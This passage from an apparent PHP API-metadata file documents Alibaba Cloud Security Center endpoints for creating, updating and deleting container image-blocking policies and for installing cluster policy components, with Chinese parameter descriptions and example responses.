}\\n ]\\n },\\n \\"Vul\\": {\\n \\"RiskLevel\\": [\\n \\"medium\\"\\n ],\\n \\"Item\\": [\\n {\\n \\"Id\\": \\"AVD-2023-1680169\\",\\n \\"Name\\": \\"ezOffice evoInterfaceServlet Info Leak\\"\\n }\\n ],\\n \\"RiskClass\\": [\\n {\\n \\"Id\\": \\"cve\\",\\n \\"Name\\": \\"系统漏洞\\"\\n }\\n ]\\n },\\n \\"MaliciousFile\\": {\\n \\"RiskLevel\\": [\\n \\"high\\"\\n ],\\n \\"Item\\": [\\n {\\n \\"Id\\": \\"1811\\",\\n \\"Name\\": \\"abnormal binary file\\\\n\\"\\n }\\n ]\\n },\\n \\"SensitiveFile\\": {\\n \\"RiskLevel\\": [\\n \\"low\\"\\n ],\\n \\"Item\\": [\\n {\\n \\"Id\\": \\"key\\",\\n \\"Name\\": \\"name\\"\\n }\\n ]\\n },\\n \\"BuildRisk\\": {\\n \\"RiskLevel\\": [\\n \\"high\\"\\n ],\\n \\"Item\\": [\\n {\\n \\"Id\\": \\"key\\",\\n \\"Name\\": \\"name\\"\\n }\\n ]\\n }\\n },\\n \\"Scopes\\": [\\n {\\n \\"ClusterId\\": \\"c1fdb5fd8d**7163\\",\\n \\"AllNamespace\\": 1,\\n \\"NamespaceList\\": [\\n \\"namespace1\\"\\n ],\\n \\"AckPolicyInstanceId\\": \\"ack-0\\"\\n }\\n ],\\n \\"Lang\\": \\"zh\\",\\n \\"CurrentPage\\": 4,\\n \\"PageSize\\": 20\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"success\\",\\n \\"RequestId\\": \\"E819FD71-D240-5E54-AA7F-20FED2ECBEB6\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '获取风险镜像阻断策略详情', + ], + 'UpdateOpaStrategyNew' => [ + 'summary' => '更新风险镜像阻断策略。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + ], + 'parameters' => [ + [ + 'name' => 'StrategyId', + 'in' => 'query', + 'schema' => [ + 'description' => '策略ID。'."\n" + .'>调用[ListOpaClusterStrategyNew](~~2623574~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1003', + ], + ], + [ + 'name' => 'StrategyTemplateId', + 'in' => 'query', + 'schema' => [ + 'description' => '策略模板ID。'."\n" + .'>调用[GetOpaStrategyTemplateSummary](~~2539952~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '109', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '集群ID。'."\n" + ."\n" + .'>此参数已废弃，请使用Scopes参数指定生效集群范围。>', + 'type' => 'string', + 'required' => false, + 'example' => 'c870ec78ecbcb41d2a35c679823ef****', + ], + ], + [ + 'name' => 'StrategyName', + 'in' => 'query', + 'schema' => [ + 'description' => '策略名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'test', + ], + ], + [ + 'name' => 'Description', + 'in' => 'query', + 'schema' => [ + 'description' => '策略描述。', + 'type' => 'string', + 'required' => false, + 'example' => '4566', + ], + ], + [ + 'name' => 'ClusterName', + 'in' => 'query', + 'schema' => [ + 'description' => '集群名称。'."\n" + .'>此参数已废弃。>', + 'type' => 'string', + 'required' => false, + 'example' => 'docker-law', + ], + ], + [ + 'name' => 'UnScanedImage', + 'in' => 'query', + 'schema' => [ + 'description' => '该策略是否支持未扫描镜像。取值：'."\n" + ."\n" + .'- **true**：支持'."\n" + .'- **false**：不支持', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'MaliciousImage', + 'in' => 'query', + 'schema' => [ + 'description' => '该策略是否支持互联网恶意镜像。取值：'."\n" + ."\n" + .'- **true**：支持'."\n" + .'- **false**：不支持', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'ImageName', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '策略包含的镜像名称列表。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像名称。'."\n" + .'> 您可通过调用[GetOpaClusterImageList](~~2539885~~)接口查询该值。', + 'type' => 'string', + 'required' => false, + 'example' => 'muximux:latest', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'Label', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '策略包含的镜像标签列表。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像标签。'."\n" + .'> 您可通过调用[GetOpaClusterLabelList](~~2539885~~)接口查询该值。', + 'type' => 'string', + 'required' => false, + 'example' => 'alertmanager:main', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'RuleAction', + 'in' => 'query', + 'schema' => [ + 'description' => '策略命中时执行操作。取值：'."\n" + ."\n" + .'- **1**：告警。'."\n" + .'- **2**：拦截。'."\n" + .'- **3**：放行。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'WhiteList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '白名单列表。', + 'type' => 'array', + 'items' => [ + 'description' => '加入白名单镜像名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'repo-016', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'AlarmDetail', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '策略包含的告警内容详情。', + 'type' => 'object', + 'properties' => [ + 'Baseline' => [ + 'description' => '基线风险信息。', + 'type' => 'object', + 'properties' => [ + 'RiskLevel' => [ + 'description' => '风险等级列表。', + 'type' => 'array', + 'items' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + .'- **medium**：中危'."\n" + .'- **low**：低危', + 'type' => 'string', + 'required' => false, + 'example' => 'medium', + ], + 'required' => false, + ], + 'Item' => [ + 'description' => '基线项目信息。', + 'type' => 'array', + 'items' => [ + 'description' => '基线项目信息。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '基线检查项ID。'."\n" + .'> 您可通过调用[GetOpaClusterBaseLineList](~~2539883~~)接口查询该值。', + 'type' => 'string', + 'required' => false, + 'example' => 'hc.image.checklist.identify.hc_exploit_couchdb_linux.item'."\n", + ], + 'Name' => [ + 'description' => '基线检查项名称。'."\n" + .'> 您可通过调用[GetOpaClusterBaseLineList](~~2539883~~)接口查询该值。', + 'type' => 'string', + 'required' => false, + 'example' => 'passwd', + ], + ], + 'required' => false, + ], + 'required' => false, + ], + ], + 'required' => false, + ], + 'Vul' => [ + 'description' => '漏洞项目信息。', + 'type' => 'object', + 'properties' => [ + 'RiskLevel' => [ + 'description' => '风险等级列表。', + 'type' => 'array', + 'items' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + .'- **medium**：中危'."\n" + .'- **low**：低危', + 'type' => 'string', + 'required' => false, + 'example' => 'high', + ], + 'required' => false, + ], + 'Item' => [ + 'description' => '漏洞列表。', + 'type' => 'array', + 'items' => [ + 'description' => '漏洞列表。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '漏洞ID。'."\n" + .'> 您可通过调用[DescribeVulListPage](~~471928~~)接口查询该值。', + 'type' => 'string', + 'required' => false, + 'example' => 'CVE-2023-36034'."\n", + ], + 'Name' => [ + 'description' => '漏洞名称。'."\n" + .'> 您可通过调用[DescribeVulListPage](~~471928~~)接口查询该值。', + 'type' => 'string', + 'required' => false, + 'example' => 'oval:com.redhat.rhsa:def:20227002', + ], + ], + 'required' => false, + ], + 'required' => false, + ], + 'RiskClass' => [ + 'description' => '漏洞类型列表。', + 'type' => 'array', + 'items' => [ + 'description' => '漏洞类型列表。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '漏洞类型ID。取值：'."\n" + .'- **cve**：系统漏洞'."\n" + .'- **app**：应用漏洞', + 'type' => 'string', + 'required' => false, + 'example' => 'cve', + ], + 'Name' => [ + 'description' => '漏洞类型名称。取值：'."\n" + .'- **系统漏洞**'."\n" + .'- **应用漏洞**', + 'type' => 'string', + 'required' => false, + 'example' => '系统漏洞', + ], + ], + 'required' => false, + ], + 'required' => false, + ], + ], + 'required' => false, + ], + 'MaliciousFile' => [ + 'description' => '恶意样本信息。', + 'type' => 'object', + 'properties' => [ + 'RiskLevel' => [ + 'description' => '风险等级列表。', + 'type' => 'array', + 'items' => [ + 'description' => '风险等级。取值：'."\n" + .'- **high**：高危'."\n" + .'- **medium**：中危'."\n" + .'- **low**：低危', + 'type' => 'string', + 'required' => false, + 'example' => 'medium', + ], + 'required' => false, + ], + 'Item' => [ + 'description' => '恶意样本列表。', + 'type' => 'array', + 'items' => [ + 'description' => '恶意样本列表。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '恶意样本ID。'."\n" + .'> 您可通过调用[DescribeMatchedMaliciousNames](~~DescribeMatchedMaliciousNames~~)接口查询该值。', + 'type' => 'string', + 'required' => false, + 'example' => '65201', + ], + 'Name' => [ + 'description' => '恶意样本名称。'."\n" + .'> 您可通过调用[DescribeMatchedMaliciousNames](~~DescribeMatchedMaliciousNames~~)接口查询该值。', + 'type' => 'string', + 'required' => false, + 'example' => 'abnormal binary file', + ], + ], + 'required' => false, + ], + 'required' => false, + ], + ], + 'required' => false, + ], + 'SensitiveFile' => [ + 'description' => '敏感文件信息。', + 'type' => 'object', + 'properties' => [ + 'RiskLevel' => [ + 'description' => '风险等级列表。', + 'type' => 'array', + 'items' => [ + 'description' => '风险等级，取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + ."\n" + .'- **medium**：中危'."\n" + ."\n" + .'- **low**：低危', + 'type' => 'string', + 'required' => false, + 'example' => 'high', + ], + 'required' => false, + ], + 'Item' => [ + 'description' => '敏感文件检查项列表。', + 'type' => 'array', + 'items' => [ + 'description' => '敏感文件检查项列表。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '敏感文件类型ID。'."\n" + .'> 您可通过调用[GetSensitiveDefineRuleConfig](~~GetSensitiveDefineRuleConfig~~)接口查询该值。', + 'type' => 'string', + 'required' => false, + 'example' => 'key', + ], + 'Name' => [ + 'description' => '敏感文件类型名称。'."\n" + .'> 您可通过调用[GetSensitiveDefineRuleConfig](~~GetSensitiveDefineRuleConfig~~)接口查询该值。', + 'type' => 'string', + 'required' => false, + 'example' => 'name', + ], + ], + 'required' => false, + ], + 'required' => false, + ], + ], + 'required' => false, + ], + 'BuildRisk' => [ + 'description' => '镜像风险构建命令信息。', + 'type' => 'object', + 'properties' => [ + 'RiskLevel' => [ + 'description' => '风险等级列表。', + 'type' => 'array', + 'items' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + .'- **medium**：中危'."\n" + .'- **low**：低危', + 'type' => 'string', + 'required' => false, + 'example' => 'high', + ], + 'required' => false, + ], + 'Item' => [ + 'description' => '风险项列表。', + 'type' => 'array', + 'items' => [ + 'description' => '风险项列表。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '镜像风险构建命令类型ID。'."\n" + .'> 您可通过调用[ListImageBuildRiskItem](~~ListImageBuildRiskItem~~)接口查询该值。', + 'type' => 'string', + 'required' => false, + 'example' => 'key', + ], + 'Name' => [ + 'description' => '镜像风险构建命令类型名称。'."\n" + .'> 您可通过调用[ListImageBuildRiskItem](~~ListImageBuildRiskItem~~)接口查询该值。', + 'type' => 'string', + 'required' => false, + 'example' => 'name', + ], + ], + 'required' => false, + ], + 'required' => false, + ], + ], + 'required' => false, + ], + ], + 'required' => false, + ], + ], + [ + 'name' => 'Scopes', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'title' => '作用域', + 'description' => '作用范围。', + 'type' => 'array', + 'items' => [ + 'description' => '策略作用范围。', + 'type' => 'object', + 'properties' => [ + 'ClusterId' => [ + 'description' => '容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'cdcb56a931c**', + ], + 'AllNamespace' => [ + 'description' => '是否包含所有命名空间，取值：'."\n" + ."\n" + .'- **0**：否。'."\n" + .'- **1**：是。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + 'NamespaceList' => [ + 'description' => '命名空间列表。'."\n" + ."\n" + .'>本参数只有当AllNamespace为0时有效。>', + 'type' => 'array', + 'items' => [ + 'description' => '命名空间列表。', + 'type' => 'string', + 'required' => false, + 'example' => 'm1', + ], + 'required' => false, + 'maxItems' => 100, + ], + 'AckPolicyInstanceId' => [ + 'description' => '集群内策略实例ID。'."\n" + .'> 您可以调用[GetOpaStrategyDetailNew](~~GetOpaStrategyDetailNew~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'ack-1', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'BaseResult', + 'description' => 'BaseResult', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '接口请求返回的信息。', + 'type' => 'string', + 'example' => 'success', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F75B5FF5-DCB2-59CE-8978-08510707A9E6', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码'."\n" + ."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + 'Data' => [ + 'description' => '更新失败的集群ID。', + 'type' => 'array', + 'items' => [ + 'description' => '更新失败的集群ID。', + 'type' => 'string', + 'example' => '[\'c8d**7614df1bf\']', + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"success\\",\\n \\"RequestId\\": \\"F75B5FF5-DCB2-59CE-8978-08510707A9E6\\",\\n \\"HttpStatusCode\\": 200,\\n \\"Data\\": [\\n \\"[\'c8d**7614df1bf\']\\"\\n ]\\n}","type":"json"}]', + 'title' => '更新风险镜像阻断策略', + ], + 'DeleteOpaStrategyNew' => [ + 'summary' => '删除风险镜像阻断策略。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + 'riskType' => 'high', + 'chargeType' => 'free', + 'abilityTreeCode' => '174286', + 'abilityTreeNodes' => [ + 'FEATUREsasZLVTBH', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'StrategyIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '策略ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '策略ID。'."\n" + .'>调用[ListOpaClusterStrategyNew](~~2623574~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '101', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'BaseResult', + 'description' => 'BaseResult', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '接口调用的结果状态。取值：'."\n" + ."\n" + .'- **true**：请求成功。'."\n" + .'- **false**：请求失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'success', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '8FD58F11-0F4D-5C7F-B9B2-CFD76108F9A4', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"success\\",\\n \\"RequestId\\": \\"8FD58F11-0F4D-5C7F-B9B2-CFD76108F9A4\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '删除风险镜像阻断策略', + ], + 'GetOpaStrategyTemplateSummary' => [ + 'summary' => '查询容器主动防御风险镜像阻断策略模板使用统计信息。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'PlainResult>', + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '风险镜像阻断规则模板使用统计数据列表。', + 'type' => 'array', + 'items' => [ + 'description' => '风险镜像阻断规则模板使用统计数据。', + 'type' => 'object', + 'properties' => [ + 'TemplateId' => [ + 'description' => '模板编号。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + 'TemplateName' => [ + 'description' => '模板名称。', + 'type' => 'string', + 'example' => 'Blank template', + ], + 'Count' => [ + 'description' => '该模板被规则使用总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'Description' => [ + 'title' => '描述', + 'description' => '模板描述。', + 'type' => 'string', + 'example' => 'Custom defense configuration', + ], + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败'."\n", + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '54572138-3390-5774-B71D-799DC8C2161B', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": [\\n {\\n \\"TemplateId\\": 1,\\n \\"TemplateName\\": \\"Blank template\\",\\n \\"Count\\": 2,\\n \\"Description\\": \\"Custom defense configuration\\"\\n }\\n ],\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"54572138-3390-5774-B71D-799DC8C2161B\\"\\n}","type":"json"}]', + 'title' => '查询风险镜像阻断策略模板使用统计', + ], + 'CreateOpaClusterPlugin' => [ + 'summary' => '在集群中安装风险镜像阻断功能需要使用的policy-template-controller、gatekeeper、logtail-ds策略治理组件。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '178483', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'ClusterIds', + 'in' => 'query', + 'style' => 'flat', + 'schema' => [ + 'description' => '容器集群的ID列表。'."\n" + .'> 您可通过调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口查询该值。', + 'type' => 'array', + 'items' => [ + 'description' => '容器集群的ID。'."\n" + .'> 您可通过调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口查询该值。', + 'type' => 'string', + 'required' => false, + 'example' => 'c60b77fe62093480db6164a3c2fa****', + ], + 'required' => true, + 'maxItems' => 50, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D65AADFC-1D20-5A6A-8F6A-9FA53C0DC1F8', + ], + 'InstallStatus' => [ + 'description' => '安全策略治理组件的安装状态。', + 'type' => 'array', + 'items' => [ + 'description' => '容器主动防御集群组件安装状态信息。', + 'type' => 'object', + 'properties' => [ + 'ClusterId' => [ + 'description' => '容器集群的编号。', + 'type' => 'string', + 'example' => 'c60b77fe62093480db6164a3c2fa****'."\n", + ], + 'InstallStatus' => [ + 'description' => '组件安装状态。取值：'."\n" + ."\n" + .'- **true**：已安装'."\n" + .'- **false**：正在安装', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D65AADFC-1D20-5A6A-8F6A-9FA53C0DC1F8\\",\\n \\"InstallStatus\\": [\\n {\\n \\"ClusterId\\": \\"c60b77fe62093480db6164a3c2fa****\\\\n\\",\\n \\"InstallStatus\\": true\\n }\\n ]\\n}","type":"json"}]', + 'title' => '安装策略治理组件', + ], + 'GetOpaPluginStatus' => [ + 'summary' => '查询容器主动防御组件安装状态。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'ClusterIds', + 'in' => 'query', + 'style' => 'flat', + 'schema' => [ + 'description' => '集群编号列表。'."\n" + .'> 您可通过调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口查询该值。', + 'type' => 'array', + 'items' => [ + 'description' => '集群编号。'."\n" + .'> 您可通过调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口查询该值。', + 'type' => 'string', + 'required' => false, + 'example' => 'c60b77fe62093480db6164a3c2fa****', + ], + 'required' => true, + 'maxItems' => 50, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8BF6F', + ], + 'InstallStatus' => [ + 'description' => '容器主动防御集群组件安装状态信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '容器主动防御集群组件安装状态信息。', + 'type' => 'object', + 'properties' => [ + 'ClusterId' => [ + 'description' => '容器集群的编号。', + 'type' => 'string', + 'example' => 'c60b77fe62093480db6164a3c2fa****', + ], + 'InstallStatus' => [ + 'description' => '组件安装状态。取值：'."\n" + .'- **true**：已安装。'."\n" + .'- **false**：未安装', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8BF6F\\",\\n \\"InstallStatus\\": [\\n {\\n \\"ClusterId\\": \\"c60b77fe62093480db6164a3c2fa****\\",\\n \\"InstallStatus\\": true\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询容器主动防御集群组件安装状态', + ], + 'GetOpaClusterLabelList' => [ + 'summary' => '查询容器主动防御获取容器标签信息。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'TagName', + 'in' => 'query', + 'schema' => [ + 'description' => '标签名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'test', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~182997~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'c556c8133b5ad4378b7fc533ddbda****', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'title' => '容量', + 'description' => '分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为200条，pagesize参数值为空时，将默认返回200条数据，最大值为200。'."\n" + .'>建议pagesize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'title' => '页码', + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'ListResult', + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '容器标签信息集合。', + 'type' => 'array', + 'items' => [ + 'description' => '容器标签信息。', + 'type' => 'object', + 'properties' => [ + 'TagName' => [ + 'description' => '容器标签名称。', + 'type' => 'string', + 'example' => 'test', + ], + ], + ], + ], + 'Count' => [ + 'description' => '当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'Success' => [ + 'description' => '接口调用的结果状态。取值：'."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码。**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '95D35EB3-1F8E-5E07-A68E-BE018C9B80CB', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": [\\n {\\n \\"TagName\\": \\"test\\"\\n }\\n ],\\n \\"Count\\": 2,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"95D35EB3-1F8E-5E07-A68E-BE018C9B80CB\\"\\n}","type":"json"}]', + 'title' => '容器主动防御获取容器标签信息', + ], + 'GetStrategyTemplateDetail' => [ + 'summary' => '查询容器主动防御获取规则模板详情。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'StrategyId', + 'in' => 'query', + 'schema' => [ + 'description' => '规则模板编号。'."\n" + .'>调用[GetOpaStrategyTemplateSummary](~~GetOpaStrategyTemplateSummary~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '2', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => 